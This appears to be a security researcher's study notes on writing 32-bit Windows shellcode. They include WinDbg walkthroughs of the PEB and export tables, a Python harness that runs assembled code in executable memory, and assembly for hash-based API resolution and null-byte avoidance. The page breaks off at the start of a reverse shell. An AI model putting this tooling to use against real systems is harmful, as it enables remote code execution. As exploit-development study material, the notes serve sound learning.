xct's notes
Search…
Windows Shellcode

Manally Get Load Address of DLL via Windbg

1
dt nt!_TEB @$teb
2
...
3
+0x060 ProcessEnvironmentBlock : 0x00000017`1c438000 _PEB
4
...
5
6
dt nt!_PEB 0x171c438000 (also at [FS:0x30])
7
...
8
+0x018 Ldr : 0x00007ff9`5e21a4c0 _PEB_LDR_DATA
9
...
10
11
dt _PEB_LDR_DATA 0x7ff95e21a4c0
12
...
13
+0x010 InLoadOrderModuleList : _LIST_ENTRY [ 0x000001ea`075c2830 - 0x000001ea`075ec540 ]
14
+0x020 InMemoryOrderModuleList : _LIST_ENTRY [ 0x000001ea`075c2840 - 0x000001ea`075ec550 ]
15
+0x030 InInitializationOrderModuleList : _LIST_ENTRY [ 0x000001ea`075c26c0 - 0x000001ea`075ed3a0 ]
16
...
17
18
dt _LIST_ENTRY 0x1ea075c2830
19
+0x000 Flink : 0x000001ea075c26a0 _LIST_ENTRY [ 0x000001ea`075c2dc0 - 0x000001ea`075c2830 ]
20
+0x008 Blink : 0x00007ff95e21a4d0 _LIST_ENTRY [ 0x000001ea`075c2830 - 0x000001ea`075ec540 ]
21
22
dt _LDR_DATA_TABLE_ENTRY 0x1ea075c26a0
23
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x000001ea`075c2dc0 - 0x000001ea`075c2830 ]
24
+0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x000001ea`075c2dd0 - 0x000001ea`075c2840 ]
25
+0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x000001ea`075c33f0 - 0x00007ff9`5e21a4f0 ]
26
+0x030 DllBase : 0x00007ff9`5e0b0000 Void
27
+0x038 EntryPoint : (null)
28
+0x040 SizeOfImage : 0x1f5000
29
+0x048 FullDllName : _UNICODE_STRING "C:\Windows\SYSTEM32\ntdll.dll"
30
+0x058 BaseDllName : _UNICODE_STRING "ntdll.dll"
Copied!

Manually get RVA of Export Directory Table via Windbg

1
lm m kernel32
2
start end module name
3
76150000 76240000 KERNEL32
4
5
dt ntdll!_IMAGE_DOS_HEADER 76150000
6
...
7
+0x03c e_lfanew : 0n248 // ? 0n248 = 0xf8
8
9
dt ntdll!_IMAGE_NT_HEADERS 76150000 + 0xf8
10
...
11
+0x000 Signature : 0x4550
12
+0x004 FileHeader : _IMAGE_FILE_HEADER
13
+0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER
14
15
dt ntdll!_IMAGE_OPTIONAL_HEADER 76150000 + 0xf8 + 0x18
16
...
17
+0x060 DataDirectory : [16] _IMAGE_DATA_DIRECTORY // array of len 16
18
19
dt _IMAGE_DATA_DIRECTORY
20
ntdll!_IMAGE_DATA_DIRECTORY
21
+0x000 VirtualAddress : Uint4B
22
+0x004 Size : Uint4B
23
24
dt ntdll!_IMAGE_DATA_DIRECTORY 76150000 + 0xf8 + 0x18 + 0x60
25
+0x000 VirtualAddress : 0x92c70 // VA of Export Directory Table
26
+0x004 Size : 0xdc14
Copied!

Write Shellcode & Test

Attach debugger when python is waiting for input - breakpoint will be hit when continuing & you can debug your shellcode.
1
import ctypes, struct
2
from keystone import *
3
4
# Run with python2.7 32bit, pip install keystone-engine
5
CODE = (
6
" start: "
7
" int3 ; "
8
" ... "
9
)
10
11
# ks = Ks(KS_ARCH_X64, KS_MODE_64)
12
ks = Ks(KS_ARCH_X86, KS_MODE_32)
13
14
encoding, count = ks.asm(CODE)
15
print("%d instructions..." % count)
16
sh = b""
17
for e in encoding:
18
sh += struct.pack("B", e)
19
shellcode = bytearray(sh)
20
21
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
22
ctypes.c_int(len(shellcode)),
23
ctypes.c_int(0x3000),
24
ctypes.c_int(0x40))
25
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
26
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
27
buf,
28
ctypes.c_int(len(shellcode)))
29
print("Shellcode @ %s" % hex(ptr))
30
a = raw_input("Execute?")
31
32
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
33
ctypes.c_int(0),
34
ctypes.c_int(ptr),
35
ctypes.c_int(0),
36
ctypes.c_int(0),
37
ctypes.pointer(ctypes.c_int(0)))
38
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
Copied!

Find Kernel32.dll Load Address

1
CODE = (
2
" start: "
3
" int3 ;"
4
" mov ebp, esp ;"
5
" sub esp, 200h ;"
6
" find_kernel32: "
7
" xor ecx, ecx ;"
8
" mov esi,fs:[ecx+30h] ;"
9
" mov esi,[esi+0Ch] ;"
10
" mov esi,[esi+1Ch] ;"
11
" mov ebx, [esi+8h] ;"
12
" mov edi, [esi+20h] ;"
13
" mov esi, [esi] ;"
14
" cmp [edi+12*2], cx ;"
15
" jne next_module ;"
16
" find_function: "
17
" ret "
18
)
Copied!

Find Kernel32.dll Load Address & Function

To search for a specific function we use a 4-byte hashing function instead of a string compare:

Python

1
#!/usr/bin/python
2
import numpy, sys
3
4
def ror_str(byte, count):
5
binb = numpy.base_repr(byte, 2).zfill(32)
6
while count > 0:
7
binb = binb[-1] + binb[0:-1]
8
count -= 1
9
return (int(binb, 2))
10
11
if __name__ == '__main__':
12
try:
13
esi = sys.argv[1]
14
except IndexError:
15
print("Usage: %s INPUTSTRING" % sys.argv[0])
16
sys.exit()
17
18
# Initialize variables
19
edx = 0x00
20
ror_count = 0
21
22
for eax in esi:
23
edx = edx + ord(eax)
24
if ror_count < len(esi)-1:
25
edx = ror_str(edx, 0xd)
26
ror_count += 1
27
28
print(hex(edx))
Copied!

Assembly

1
" compute_hash: "
2
" xor eax, eax ;"
3
" cdq ;"
4
" cld ;"
5
" compute_hash_again: "
6
" lodsb ;"
7
" test al, al ;"
8
" jz compute_hash_finished ;"
9
" ror edx, 0x0d ;"
10
" add edx, eax ;"
11
" jmp compute_hash_again ;"
12
" compute_hash_finished: "
Copied!
In order to avoid null bytes, instructions like sub esp, 0x200 can be replaced with adding a large value that achives the same:
1
? 0x0 -0x204
2
Evaluate expression: -516 = fffffdfc
3
4
sub esp, 0x204 == add esp, fffffdfc
Copied!

Position Independent Shellcode

Basic idea is to find address of shellcode in memory and use that for calculations.
1
CODE = (
2
" start: "
3
" int3 ;"
4
" mov ebp, esp ;"
5
" add esp, 0xfffffdfc ;"
6
7
" find_kernel32: "
8
" xor ecx, ecx ;"
9
" mov esi,fs:[ecx+30h] ;"
10
" mov esi,[esi+0Ch] ;"
11
" mov esi,[esi+1Ch] ;"
12
13
" next_module: "
14
" mov ebx, [esi+8h] ;"
15
" mov edi, [esi+20h] ;"
16
" mov esi, [esi] ;"
17
" cmp [edi+12*2], cx ;"
18
" jne next_module ;"
19
20
" find_function_shorten: "
21
" jmp find_function_shorten_bnc ;"
22
23
" find_function_ret: "
24
" pop esi ;" # ret addr, start of find_function
25
" mov [ebp+0x04], esi ;"
26
" jmp resolve_symbols_kernel32 ;"
27
28
" find_function_shorten_bnc: "
29
" call find_function_ret ;" # rel call
30
31
" find_function: "
32
" pushad ;"
33
" mov eax, [ebx+0x3c] ;"
34
" mov edi, [ebx+eax+0x78] ;"
35
" add edi, ebx ;"
36
" mov ecx, [edi+0x18] ;"
37
" mov eax, [edi+0x20] ;"
38
" add eax, ebx ;"
39
" mov [ebp-4], eax ;"
40
41
" find_function_loop: "
42
" jecxz find_function_finished ;"
43
" dec ecx ;"
44
" mov eax, [ebp-4] ;"
45
" mov esi, [eax+ecx*4] ;"
46
" add esi, ebx ;"
47
48
" compute_hash: "
49
" xor eax, eax ;"
50
" cdq ;"
51
" cld ;"
52
53
" compute_hash_again: "
54
" lodsb ;"
55
" test al, al ;"
56
" jz compute_hash_finished ;"
57
" ror edx, 0x0d ;"
58
" add edx, eax ;"
59
" jmp compute_hash_again ;"
60
61
" compute_hash_finished: "
62
" find_function_compare: "
63
" cmp edx, [esp+0x24] ;"
64
" jnz find_function_loop ;"
65
" mov edx, [edi+0x24] ;"
66
" add edx, ebx ;"
67
" mov cx, [edx+2*ecx] ;"
68
" mov edx, [edi+0x1c] ;"
69
" add edx, ebx ;"
70
" mov eax, [edx+4*ecx] ;"
71
" add eax, ebx ;"
72
" mov [esp+0x1c], eax ;"
73
74
" find_function_finished: "
75
" popad ;"
76
" ret ;"
77
78
" resolve_symbols_kernel32: "
79
" push 0x78b5b983 ;" # Hash of Func
80
" call dword ptr [ebp+0x04] ;" # Call find_function
81
" mov [ebp+0x10], eax ;"
82
83
" exec_shellcode: "
84
" xor ecx, ecx ;"
85
" push ecx ;"
86
" push 0xffffffff ;"
87
" call dword ptr [ebp+0x10] ;" # Call Func
88
)
Copied!

Reverse Shell

We can extend resolve-symbols-kernel32 to retrieve multiple symbols like so:
1
" resolve_symbols_kernel32: "
2
" push 0x78b5b983 ;" # Exit hash
3
" call dword ptr [ebp+0x04] ;"
4
" mov [ebp+0x10], eax ;"
5
" push 0xec0e4e8e ;" # LoadLibraryA hash
6
" call dword ptr [ebp+0x04] ;"
7
" mov [ebp+0x14], eax ;"
8
" push 0x16b3fe72 ;" # CreateProcessA hash
9
" call dword ptr [ebp+0x04] ;"
10
" mov [ebp+0x18], eax ;"
Copied!
Then we need to call LoadLibraryA and resolve the symbols in the loaded library again and call a useful function with the correct arguments.

IP Address

Full Reverse Shell Code (32-Bit Windows 10)

References